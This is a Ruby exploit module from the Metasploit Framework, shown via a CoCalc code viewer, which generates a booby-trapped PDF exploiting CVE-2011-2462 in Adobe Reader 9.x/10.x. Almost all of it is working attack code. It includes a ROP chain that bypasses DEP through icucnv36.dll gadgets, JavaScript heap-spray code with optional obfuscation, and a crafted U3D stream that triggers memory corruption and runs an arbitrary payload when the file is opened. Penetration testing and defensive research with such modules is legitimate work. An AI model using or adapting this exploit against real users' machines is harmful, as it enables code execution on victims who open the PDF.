CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_reader_u3d.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = AverageRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe Reader U3D Memory Corruption Vulnerability',
16
'Description' => %q{
17
This module exploits a vulnerability in the U3D handling within
18
versions 9.x through 9.4.6 and 10 through to 10.1.1 of Adobe Reader.
19
The vulnerability is due to the use of uninitialized memory.
20
21
Arbitrary code execution is achieved by embedding specially crafted U3D
22
data into a PDF document. A heap spray via JavaScript is used in order to
23
ensure that the memory used by the invalid pointer issue is controlled.
24
},
25
'License' => MSF_LICENSE,
26
'Author' =>
27
[
28
'Felipe Andres Manzano', #Original poc (@feliam)
29
'sinn3r',
30
'juan vazquez',
31
'jduck'
32
],
33
'References' =>
34
[
35
[ 'CVE', '2011-2462' ],
36
[ 'OSVDB', '77529' ],
37
[ 'BID', '50922' ],
38
[ 'URL', 'http://www.adobe.com/support/security/advisories/apsa11-04.html' ],
39
[ 'URL', 'http://blog.9bplus.com/analyzing-cve-2011-2462' ],
40
[ 'URL', 'https://sites.google.com/site/felipeandresmanzano/PDFU3DExploitJS_CVE_2009_2990.py?attredirects=0'], #Original PoC
41
[ 'URL', 'http://contagiodump.blogspot.com/2011/12/adobe-zero-day-cve-2011-2462.html' ]
42
],
43
'DefaultOptions' =>
44
{
45
'EXITFUNC' => 'process',
46
'DisablePayloadHandler' => true
47
},
48
'Payload' =>
49
{
50
'Space' => 1000,
51
'BadChars' => "\x00",
52
'DisableNops' => true
53
},
54
'Platform' => 'win',
55
'Targets' =>
56
[
57
[
58
# Adobe Reader 9.4.0 / XP SP3
59
# Adobe Reader 9.4.5 / XP SP3
60
# Adobe Reader 9.4.6 / XP SP3
61
'Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3',
62
{
63
# gadget from icucnv36:
64
# mov ecx,dword ptr [eax+3Ch]
65
# mov eax,dword ptr [ecx]
66
# call dword ptr [eax+1Ch]
67
'Ret' => 0x4a8453c3
68
}
69
],
70
],
71
'DisclosureDate' => '2011-12-06', #Needs to be checked
72
'DefaultTarget' => 0))
73
74
register_options(
75
[
76
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
77
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
78
])
79
80
end
81
82
def junk(n=1)
83
tmp = []
84
value = rand_text(4).unpack("L")[0].to_i
85
n.times { tmp << value }
86
return tmp
87
end
88
89
def exploit
90
# DEP bypass; uses icucnv36.dll
91
stack_data = [
92
junk,
93
0x0c0c0c0c, # mapped at 0x0c0c0c0c # becomes edi after stackpivot
94
0x0c0c0c0c, # becomes esi
95
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
96
0x4a8a0000, # becomes edi
97
0x4a802196, # becomes esi
98
0x4a801f90, # becomes ebp
99
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
100
0x4a806cef, # Stackpivot! xchg eax,esp (eax=0x0c0c0c0c) / xor al, al / pop edi / pop esi / ret # padding
101
junk(4),
102
0x00000000, # becomes edi
103
0x00000002, # becomes esi
104
0x00000102, # becomes ebp
105
0x4a806f29, # pop edi / pop esi / pop ebp / ret 14h
106
junk(5),
107
0x4a80a8a6, # becomes edi
108
0x4a801f90, # becomes esi
109
0x4a849038, # becomes ebp
110
0x4a8063a5, # pop ecx / ret
111
junk(5),
112
0x4a8a0000, # becomes ecx
113
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores eax (stack address)
114
0x4a801f90, # pop eax / ret
115
0x4a84903c, # becomes eax (import for CreateFileA)
116
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileA}
117
0x4a801064, # ret for CreateFileA # ret
118
0x00000000, # __in LPCTSTR lpFileName
119
0x10000000, # __in DWORD dwDesiredAccess
120
0x00000000, # __in DWORD dwShareMode
121
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes
122
0x00000002, # __in DWORD dwCreationDisposition
123
0x00000102, # __in DWORD dwFlagsAndAttributes
124
0x00000000, # __in_opt HANDLE hTemplateFile
125
0x4a8063a5, # pop ecx / ret
126
0x4a801064, # becomes ecx
127
0x4a842db2, # xchg eax, edi / ret
128
0x4a802ab1, # pop ebx / ret
129
0x00000008, # becomes ebx
130
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0ce0, edi = {Result of CreateFileA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
131
0x4a801f90, # pop eax / ret
132
0x4a849038, # becomes eax (import for CreateFileA)
133
0x4a80b692, # jmp dword ptr [eax] {kernel32!CreateFileMappingA}
134
0x4a801064, # ret for CreateFileMappingA # ret
135
0xffffffff, # __in HANDLE hFile # mapped at 0c0c0ce0 => Stores Result of CreateFileA
136
0x00000000, # __in_opt LPSECURITY_ATTRIBUTES lpAttributes,
137
0x00000040, # __in DWORD flProtect,
138
0x00000000, # __in DWORD dwMaximumSizeHigh,
139
0x00010000, # __in DWORD dwMaximumSizeLow,
140
0x00000000, # __in_opt LPCTSTR lpName
141
0x4a8063a5, # pop ecx / ret
142
0x4a801064, # becomes ecx
143
0x4a842db2, # xchg eax, edi / ret
144
0x4a802ab1, # pop ebx / ret
145
0x00000008, # becomes ebx
146
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0x0c0c0d20, edi = {Result of FileMappingA}) / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
147
0x4a801f90, # pop eax / ret
148
0x4a849030, # becomes eax (import for kernel32!MapViewOfFile)
149
0x4a80b692, # jmp dword ptr [eax] {kernel32!MapViewOfFile}
150
0x4a801064, # ret for MapViewOfFile # ret
151
0xffffffff, # __in HANDLE hFileMappingObject # mapped at 0x0c0c0d20 => {Result of FileMappingA}
152
0x00000022, # __in DWORD dwDesiredAccess
153
0x00000000, # __in DWORD dwFileOffsetHigh
154
0x00000000, # __in DWORD dwFileOffsetLow
155
0x00010000, # __in SIZE_T dwNumberOfBytesToMap
156
0x4a8063a5, # pop ecx / ret
157
0x4a8a0004, # becomes ecx
158
0x4a802196, # mov dword ptr [ecx],eax / ret # Stores result of MapViewOfFile
159
0x4a8063a5, # pop ecx / ret
160
0x4a801064, # becomes ecx
161
0x4a842db2, # xchg eax, edi / ret
162
0x4a802ab1, # pop ebx / ret
163
0x00000030, # becomes ebx
164
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0db8, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
165
0x4a801f90, # pop eax / ret
166
0x4a8a0004, # becomes eax {Result of MapViewOfFile}
167
0x4a80a7d8, # mov eax,dword ptr [eax] / ret
168
0x4a8063a5, # pop ecx / ret
169
0x4a801064, # becomes ecx
170
0x4a842db2, # xchg eax, edi / ret
171
0x4a802ab1, # pop ebx / ret
172
0x00000020, # becomes ebx
173
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dbc, edi = {Result of MapViewOfFile} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
174
0x4a8063a5, # pop ecx / ret
175
0x4a801064, # becomes ecx
176
0x4a80aedc, # lea edx,[esp+0Ch] (edx => 0c0c0d94) / push edx {0c0c0d94} / push eax {Result of MapViewOfFile} / push dword ptr [esp+0Ch] ([0c0c0d8c] => 0x34) / push dword ptr [4a8a093c] ([4a8a093c] = 0x0) / call ecx (u 0x4a801064 => ret) / add esp, 10h / ret
177
0x4a801f90, # pop eax / ret
178
0x00000034, # becomes eax # mapped at 0c0c0d8c
179
0x4a80d585, # add eax, edx / ret (eax => 0c0c0dc8 => shellcode after ROP chain)
180
0x4a8063a5, # pop ecx / ret # mapped at 0c0c0d94
181
0x4a801064, # becomes ecx
182
0x4a842db2, # xchg eax,edi (edi becomes 0c0c0d8c, eax becomes Result of MapViewOfFile) / ret
183
0x4a802ab1, # pop ebx / ret
184
0x0000000a, # becomes ebx
185
0x4a80a8a6, # and dword ptr [esp+ebx*2],edi (esp+ebx*2 = 0c0c0dc0, edi = {shellcode after ROP chain} / jne 4a80a8ae [br=1] / cmp al,2Fh / je 4a80a8ab [br=0] / cmp al,41h / jl 4a80a8ba [br=1] / cmp al,61h / jl 4a80a8c8) [br=1] / xor al,al / ret
186
0x4a801f90, # pop eax / ret
187
0x4a849170, # becomes eax (import for MSVCR80!memcpy)
188
0x4a80b692, # jmp dword ptr [eax] {MSVCR80!memcpy}
189
0xffffffff, # ret for memcpy # mapped at 0c0c0db8 => Result of MapViewOfFile
190
0xffffffff, # dst (memcpy param) # mapped at 0c0c0dbc => Result of MapViewOfFile
191
0xffffffff, # src (memcpy param) # mapped at 0c0c0dc0 => Address of shellcode after ROP chain
192
0x00001000 # length (memcpy param)
193
].flatten.pack('V*')
194
195
payload_buf = ''
196
payload_buf << stack_data
197
payload_buf << payload.encoded
198
escaped_payload = Rex::Text.to_unescape(payload_buf)
199
200
eip_ptr =
201
[
202
junk(3),
203
target.ret, # EIP
204
junk(7),
205
0x0c0c0c0c, # [eax+3Ch] => becomes ecx / [0x0c0c0c0c] = 0x0c0c0c0c / [0x0c0c0c0c+1Ch] = 4a806cef => stackpivot
206
junk(16),
207
].flatten.pack('V*')
208
209
escaped_eip = Rex::Text.to_unescape(eip_ptr)
210
211
js = <<-JS
212
213
var padding;
214
var bbb, ccc, ddd, eee, fff, ggg, hhh;
215
var pointers_a, i;
216
var x = new Array();
217
var y = new Array();
218
219
function alloc(bytes) {
220
return padding.substr(0, (bytes - 6) / 2);
221
}
222
223
function spray_eip(esc_a) {
224
pointers_a = unescape(esc_a);
225
for (i = 0; i < 2000; i++) {
226
x[i] = alloc(0x8) + pointers_a;
227
y[i] = alloc(0x88) + pointers_a;
228
y[i] = alloc(0x88) + pointers_a;
229
y[i] = alloc(0x88) + pointers_a;
230
}
231
};
232
233
function spray_shellcode() {
234
bbb = unescape('#{escaped_payload}');
235
ccc = unescape("%u0c0c");
236
ccc += ccc;
237
238
while (ccc.length + 20 + 8 < (0x8000 + 0x8000)) ccc += ccc;
239
240
i1 = 0x0c0c - 0x24;
241
ddd = ccc.substring(0, i1 / 2);
242
243
ddd += bbb;
244
ddd += ccc;
245
246
i2 = 0x4000 + 0xc000;
247
eee = ddd.substring(0, i2 / 2);
248
249
for (; eee.length < 0x40000 + 0x40000;) eee += eee;
250
251
i3 = (0x1020 - 0x08) / 2;
252
fff = eee.substring(0, 0x80000 - i3);
253
254
ggg = new Array();
255
256
for (hhh = 0; hhh < 0x1e0 + 0x10; hhh++) ggg[hhh] = fff + "s";
257
}
258
259
padding = unescape("#{escaped_eip}");
260
while (padding.length < 0x10000)
261
padding = padding + padding;
262
263
spray_shellcode();
264
spray_eip('%u4141');
265
266
this.pageNum = 2;
267
JS
268
269
js = js.gsub(/^ {4}/,'')
270
271
if datastore['OBFUSCATE']
272
js = ::Rex::Exploitation::JSObfu.new(js)
273
js.obfuscate
274
end
275
276
u3d = make_u3d_stream
277
xml = make_xml_data
278
pdf = make_pdf(u3d, xml, js.to_s)
279
print_status("Creating '#{datastore['FILENAME']}' file...")
280
file_create(pdf)
281
end
282
283
def make_xml_data
284
xml = %Q|<?xml version="1.0" encoding="UTF-8"?>
285
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
286
<ed>kapa</ed>
287
<config xmclns="http://www.microsoft.org/schema/xci/2.6/">
288
<present>
289
<pdf>
290
<version>1</version>
291
<fjdklsajfodpsajfopjdsio>f</fjdklsajfodpsajfopjdsio>
292
<interactive>1</interactive>
293
</pdf>
294
</present>
295
</config>
296
<template xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
297
<subform name="form1" layout="tb" locale="en_US">
298
<pageSet>
299
</pageSet>
300
</subform>
301
</template>
302
<template1 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
303
<subform name="form1" layout="tb" locale="en_US">
304
<pageSet>
305
</pageSet>
306
</subform>
307
</template1>
308
<template2 xmdfaflns="http://www.microsoft.org/schema/xffdsa-template/2f/">
309
<subform name="form1" layout="tb" locale="en_US">
310
<pageSet>
311
</pageSet>
312
</subform>
313
</template2>
314
</xdp:xdp>|
315
316
xml = xml.gsub(/^ {4}/, '')
317
return xml
318
end
319
320
def u3d_pad(str, char="\x00")
321
len = str.length % 4
322
if (len > 0)
323
#puts "Adding %d pad bytes" % (4 - len)
324
return (char * (4 - len))
325
end
326
""
327
end
328
329
def u3d_string(str)
330
([str.length].pack('v') + str)
331
end
332
333
def make_u3d_stream()
334
#
335
# REFERENCE:
336
# http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%201st%20edition.pdf
337
# The File format consists of these blocks:
338
# [File Header Block][Declaration Block][Continuation Block]
339
# Each block consists of (padding is used to keep fields 32-bit aligned):
340
# [Block Type][Data Size][Metadata Size][Data][Data Padding][Meta Data][Meta Data Padding]
341
#
342
mc_name = u3d_string("CCCCBox01")
343
mr_name = u3d_string("Box01RX")
344
345
# build the U3D header (length will be patched in later)
346
hdr_data = [0,0].pack('n*') # version info
347
hdr_data << [0,0x24,0xa34,0,0x6a].pack('VVVVV') # 31337 was 0xa34
348
349
hdr = "U3D\x00"
350
hdr << [hdr_data.length,0].pack('VV')
351
hdr << hdr_data
352
353
parent_node_data =
354
"\x01\x00\x00\x00"+ # node count (1)
355
"\x00\x00"+ # name (empty)
356
# transform matrix
357
[0x813f,0,0,0,0,0x813f,0,0,0,0,0x813f,0,0x548a55c0,0xa2027cc2,0,0x813f].pack('N*')
358
359
360
model_node_data = ""
361
model_node_data << mc_name
362
model_node_data << parent_node_data
363
model_node_data << mr_name
364
model_node_data << [1].pack('V') # Model Visibility (Front visible)
365
model_node = [0xffffff22,model_node_data.length,0].pack('VVV')
366
#model_node = [0xffffff22,0x5e,0].pack('VVV')
367
model_node << model_node_data
368
369
bone_weight_data = ""
370
bone_weight_data << mc_name
371
bone_weight_data << [
372
1, # Chain index
373
1, # Bone Weight Attributes (for a mesh)
374
0x3162123b, # Inverse Quant
375
0x14, # Position Count
376
].pack('VVNV')
377
# Position List
378
bone_weight_data << [
379
# 1
380
1, # Bone Weight Count
381
3, # Bone Index (no Quantized Weight)
382
# 2
383
0x55550000, # Bone Weight Count
384
0x4c1df36e, # Bone Index
385
0x0200d002, # Quantized Weight
386
# 3
387
0x95000074, # Bone Weight Count
388
0x66ccc357, # Bone Index
389
0x00000000 # Quantized Weight
390
].pack('VVNNNNNN')
391
bone_weight = [0xffffff44,0x3a,0].pack('VVV')
392
# We hardcode the length to match the old file.. (TODO: test if necessary)
393
#bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV')
394
bone_weight << bone_weight_data
395
396
new_objtype1_data =
397
"\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+
398
"\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+
399
"\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
400
#new_objtype1 = [0xffffff16,0x38,0].pack('VVV')
401
new_objtype1 = [0xffffff16,new_objtype1_data.length,0].pack('VVV')
402
new_objtype1 << new_objtype1_data
403
404
shading_modifier_data = ""
405
shading_modifier_data << mc_name
406
shading_modifier_data <<
407
"\x02\x00\x00\x00\x00\x00\x00\x00\x01"+
408
"\x00\x00\x00\x00\x00\x00\x00\x06\x00\x42\x6f\x02\x00\x00\x00"
409
#shading_modifier = [0xffffff45,0x23,0].pack('VVV')
410
shading_modifier = [0xffffff45,shading_modifier_data.length,0].pack('VVV')
411
shading_modifier << shading_modifier_data
412
413
new_objtype2_data =
414
"\x01\x00\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2"+
415
"\xdf\x2a\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x52\x01\x00\x00\x00"+
416
"\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00"
417
#new_objtype2 = [0xffffff16,0x30,0].pack('VVV')
418
new_objtype2 = [0xffffff16,new_objtype2_data.length,0].pack('VVV')
419
new_objtype2 << new_objtype2_data
420
421
nodemod_decl = ""
422
nodemod_decl << model_node
423
nodemod_decl << u3d_pad(nodemod_decl)
424
nodemod_decl << bone_weight
425
nodemod_decl << u3d_pad(nodemod_decl)
426
nodemod_decl << new_objtype1
427
nodemod_decl << u3d_pad(nodemod_decl)
428
nodemod_decl << shading_modifier
429
nodemod_decl << u3d_pad(nodemod_decl)
430
nodemod_decl << new_objtype2
431
nodemod_decl << u3d_pad(nodemod_decl)
432
433
nodemod_decl <<
434
# another modifier chain?
435
"\x14\xff\xff\xff\xc0\x01\x00\x00\x00\x00\x00\x00"+
436
"\x07\x00\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00"+
437
"\x00\x00"+
438
# clod mesh generator (declaration)
439
"\x31\xff\xff\xff\x9b\x01\x00\x00\x00\x00\x00\x00\x07\x00\x42\x6f\x78\x30\x31\x52"+
440
"\x58\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x14\x00\x00\x00\x6c\x00\x00\x00\x00"+
441
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
442
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c"+
443
"\x01\x00\x00\x87\x52\x0a\x3d\xa6\x05\x6f\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d"+
444
"\x3c\x66\x66\x66\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x04\x00\x00\x00\x07\x00\x53\x63\x61"+
445
"\x70\x75\x6c\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
446
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
447
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
448
"\x07\x00\x48\x75\x6d\x65\x72\x75\x73\x07\x00\x53\x63\x61\x70\x75\x6c\x61\x00\x00\x00\x00"+
449
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
450
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
451
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x55\x6c\x6e\x61\x07\x00\x48\x75"+
452
"\x6d\x65\x72\x75\x73\x00\x00\x00\x00\x00\x00\x20\x41\x00\x00\x00\x00\x00\x00\x20\x41\x00"+
453
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
454
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06"+
455
"\x00\x52\x61\x64\x69\x75\x73\x04\x00\x55\x6c\x6e\x61\x00\x00\x00\x00\x00\x00\x70\x41\x00"+
456
"\x00\x00\x00\x00\x00\x70\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
457
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
458
"\x00\x00\x00\x00\x00\x00\x00\x00"+
459
# clod mesh generator (progressive mesh cont)
460
"\x3c\xff\xff\xff\x6f\x01\x00\x00\x00\x00\x00\x00\x07\x00"+
461
"\x42\x6f\x78\x30\x31\x52\x58\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00"+
462
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x50\x02\x00\x00\x28\x01"+
463
"\x00\x00\x7f\x75\x2f\x2b\x00\x00\x20\x73\x00\x00\xc3\x05\x00\x00\x00\x00\x00\x00\x80\x02"+
464
"\x45\xe4\x4c\x55\x01\x00\x00\xe0\x30\x03\x00\x00\xb0\x01\x00\x00\x00\x36\x00\x00\x00\x00"+
465
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x55\x55\x05\x00\x80\xa3\x2a\x00\xc0\xe1"+
466
"\x41\x6b\x92\xf2\xa4\x00\x00\x72\x87\x18\x4c\xd0\xda\x00\x00\x20\x46\xa9\x03\x00\x40\x8c"+
467
"\x00\x00\xa0\x7c\xa9\xa7\x10\x03\x00\x00\xc4\x09\x00\x00\x0d\xd2\x50\x85\x03\x72\x00\x80"+
468
"\x5c\x37\x19\xc1\xb9\x0f\x00\x20\x55\xf7\x13\x00\x40\x00\xdc\x1f\xf9\x2c\x35\x30\x6e\x06"+
469
"\x62\xb6\xea\x09\x2e\x7b\x28\xa4\x90\xe0\xb3\x63\x2c\x20\x92\x2a\x88\xbc\x06\x3a\xff\x80"+
470
"\x43\xb2\x00\x00\x00\x14\x62\x0e\x63\xb4\x04\x08\x47\x52\x20\x31\xca\x00\x00\xb4\x21\xe0"+
471
"\xd7\x01\x00\xa0\x1a\x72\x11\x71\xc2\x2c\x74\xc1\xa3\x56\xfa\x30\x03\x00\xe0\x7b\xd0\x62"+
472
"\x2a\x00\x40\x71\xfa\x6c\xc6\xcf\x07\x78\x81\xd0\x47\x3d\x58\x0e\x51\x0f\x2e\x27\x2d\xbe"+
473
"\x26\x10\x06\x6f\x3a\x40\xae\x36\x6a\x43\x60\xdf\xcb\xef\x8c\x38\xca\x04\x92\x79\x4b\x79"+
474
"\xe9\x42\xbd\x2b\xb9\x5b\x86\x60\x65\xa4\x75\x01\x19\xda\xcf\x6a\xf7\x2a\x77\x3c\xde\xf1"+
475
"\x11\x75\x33\xd3\x94\x74\x4a\x14\x73\x4b\x18\xa1\x66\xc2\x0f\xde\x3d\xed\x19\xd4\x32\x2e"+
476
"\xb6\x11\xf2\xc6\x2f\x13\x62\xb9\xe5\xe1\x03\x8b\xb5\x1c\x23\x9f\x80\x03\x75\xb6\x26\xd3"+
477
"\x1c\x16\x5f\x9b\x3c\xea\x62\x10\xe1\xb1\x00\x00\x00\x00"
478
479
# build the modifier chain
480
chain_data = ""
481
chain_data << mc_name
482
chain_data << [0].pack('V') # type (node modifier)
483
chain_data << [0].pack('V') # attributes (no bounding info)
484
chain_data << u3d_pad(chain_data)
485
chain_data << [0x5].pack('V') # number of modifiers
486
chain_data << nodemod_decl
487
#modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV') # chain_data was 0x17c bytes
488
modifier_chain = [0xffffff14,0x17c,0].pack('VVV')
489
modifier_chain << chain_data
490
491
data = ""
492
data << hdr
493
data << modifier_chain
494
495
data
496
end
497
498
def random_non_ascii_string(count)
499
result = ""
500
count.times do
501
result << (rand(128) + 128).chr
502
end
503
result
504
end
505
506
def io_def(id)
507
"%d 0 obj\n" % id
508
end
509
510
def io_ref(id)
511
"%d 0 R" % id
512
end
513
514
def ascii_hex_whitespace_encode(str)
515
result = ""
516
whitespace = ""
517
str.each_byte do |b|
518
result << whitespace << "%02x" % b
519
whitespace = " " * (rand(3) + 1)
520
end
521
result << ">"
522
end
523
524
def make_pdf(u3d_stream, xml, js_doc)
525
xref = []
526
eol = "\x0a"
527
obj_end = "" << eol << "endobj" << eol
528
529
# the header
530
pdf = "%PDF-1.7" << eol
531
532
# filename/comment
533
pdf << "%" << random_non_ascii_string(4) << eol
534
535
email = rand_text_alpha(3) + "@" + rand_text_alpha(4) + ".com"
536
site = rand_text_alpha(5) + ".com"
537
xref << pdf.length
538
pdf << io_def(1)
539
pdf << "<</Author (Fo)/email (#{email})/web (site)>>"
540
pdf << obj_end
541
542
compressed_xml = Zlib::Deflate.deflate(xml)
543
xref << pdf.length
544
pdf << io_def(2)
545
pdf << "<</Length " << compressed_xml.length.to_s << " /Filter /FlateDecode>>" << eol
546
pdf << "stream" << eol
547
pdf << compressed_xml << eol
548
pdf << "endstream"
549
pdf << obj_end
550
551
xref << pdf.length
552
pdf << io_def(3)
553
pdf << "<</XFA " << io_ref(2) << ">>"
554
pdf << obj_end
555
556
xref << pdf.length
557
pdf << io_def(4)
558
pdf << "<</Type/Catalog/Outlines " << io_ref(5)
559
pdf << " /Pages " << io_ref(6)
560
pdf << " /OpenAction " << io_ref(14)
561
pdf << " /AcroForm " << io_ref(3)
562
pdf << ">>"
563
pdf << obj_end
564
565
xref << pdf.length
566
pdf << io_def(5) << "<</Type/Outlines/Count 0>>"
567
pdf << obj_end
568
569
xref << pdf.length
570
pdf << io_def(6)
571
pdf << "<</Type/Pages/Count 3/Kids [%s %s %s]>>" % [io_ref(13), io_ref(9), io_ref(12)]
572
pdf << obj_end
573
574
data = "\x78\xda\xd3\x70\x4c\x04\x02\x4d\x85\x90\x2c\x00\x0f\xd3\x02\xf5"
575
compressed_data = Zlib::Deflate.deflate(data)
576
xref << pdf.length
577
pdf << io_def(7)
578
pdf << "<</Length %s /Filter /FlateDecode>>" %compressed_data.length.to_s << eol
579
pdf << "stream" << eol
580
pdf << compressed_data << eol
581
pdf << "endstream"
582
pdf << obj_end
583
584
xref << pdf.length
585
pdf << io_def(8)
586
pdf << "<</ProcSet [/PDF]>>"
587
pdf << obj_end
588
589
xref << pdf.length
590
pdf << io_def(9)
591
pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]
592
pdf << obj_end
593
594
compressed_u3d = Zlib::Deflate::deflate(u3d_stream)
595
xref << pdf.length
596
pdf << io_def(10)
597
pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol
598
pdf << "stream" << eol
599
pdf << compressed_u3d << eol
600
pdf << "endstream"
601
pdf << obj_end
602
603
xref << pdf.length
604
pdf << io_def(11)
605
pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"
606
pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %io_ref(10)
607
pdf << obj_end
608
609
xref << pdf.length
610
pdf << io_def(12)
611
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [io_ref(6), io_ref(7), io_ref(8), io_ref(11)]
612
pdf << obj_end
613
614
xref << pdf.length
615
pdf << io_def(13)
616
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]
617
pdf << obj_end
618
619
xref << pdf.length
620
pdf << io_def(14)
621
pdf << "<</S/JavaScript/JS %s>>" %io_ref(15)
622
pdf << obj_end
623
624
compressed_js = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))
625
xref << pdf.length
626
pdf << io_def(15)
627
pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"
628
pdf << "stream" << eol
629
pdf << compressed_js << eol
630
pdf << "endstream"
631
pdf << obj_end
632
633
# xrefs
634
xrefPosition = pdf.length
635
pdf << "xref" << eol
636
pdf << "0 %d" % (xref.length + 1) << eol
637
pdf << "0000000000 65535 f" << eol
638
xref.each do |index|
639
pdf << "%010d 00000 n" % index << eol
640
end
641
642
# trailer
643
pdf << "trailer" << eol
644
pdf << "<</Size %d/Root " % (xref.length + 1) << io_ref(4) << ">>" << eol
645
pdf << "startxref" << eol
646
pdf << xrefPosition.to_s() << eol
647
pdf << "%%EOF" << eol
648
end
649
end
650
651